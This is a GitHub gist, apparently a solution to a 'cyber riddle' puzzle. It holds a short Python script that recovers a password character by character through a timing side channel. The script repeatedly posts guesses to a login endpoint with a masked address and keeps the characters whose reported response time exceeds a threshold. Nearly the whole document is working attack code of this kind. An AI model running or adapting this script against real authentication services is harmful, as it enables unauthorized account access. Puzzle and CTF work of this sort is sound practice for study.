Created
May 14, 2019 09:37
-
-
Save rootux/01ee6c776a4bd77d72349ed59a0a1a6a to your computer and use it in GitHub Desktop.
Bruth Force Cyber Riddle
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
# In a parallel universe we use import string string.printable | |
CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789" | |
URL = "http://XX.YYY.ZZZ.XX:8070/auth/v1_1" | |
HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' } | |
PAYLOAD ={} | |
DISCOVERED_PASSWORD = "f" | |
def check(chars): | |
print('---') | |
result_chars = [] | |
for i in range(len(chars)): | |
PAYLOAD['Seed'] = "d14236b60e0f4aef94499cb648a5f522" | |
PAYLOAD['Password'] = DISCOVERED_PASSWORD + chars[i] | |
r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS) | |
result = r.json() | |
delay = result['Time'] | |
if(delay > len(PAYLOAD['Password'])*30000000): | |
result_chars.append(chars[i]) | |
return result_chars | |
# 40 cause its probably only 32 | |
for i in range(40): | |
res = check(CHARACTERS) | |
for i in range(10): | |
res = check(res) | |
print(res) | |
DISCOVERED_PASSWORD += res[0] | |
print("FOUND ONE MORE! {}".format(DISCOVERED_PASSWORD)) | |
print(DISCOVERED_PASSWORD) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment